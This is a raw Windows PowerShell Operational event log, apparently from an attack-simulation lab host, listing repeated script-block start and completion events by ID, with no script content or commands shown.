LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044457
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044455
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044454
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044437
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044431
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
